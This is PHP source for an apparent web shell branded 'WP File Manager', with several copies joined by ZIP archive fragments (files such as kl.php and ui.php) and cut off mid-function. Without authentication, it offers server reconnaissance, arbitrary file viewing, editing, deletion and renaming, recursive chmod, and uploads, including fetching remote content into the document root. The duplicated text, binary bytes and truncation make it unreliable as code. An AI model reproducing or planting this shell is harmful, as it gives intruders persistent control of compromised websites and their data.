← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]qÜd©Ë©Ësend@temjeku.com/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]CO¹ò®Ë®Ësend@temjeku.com/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = 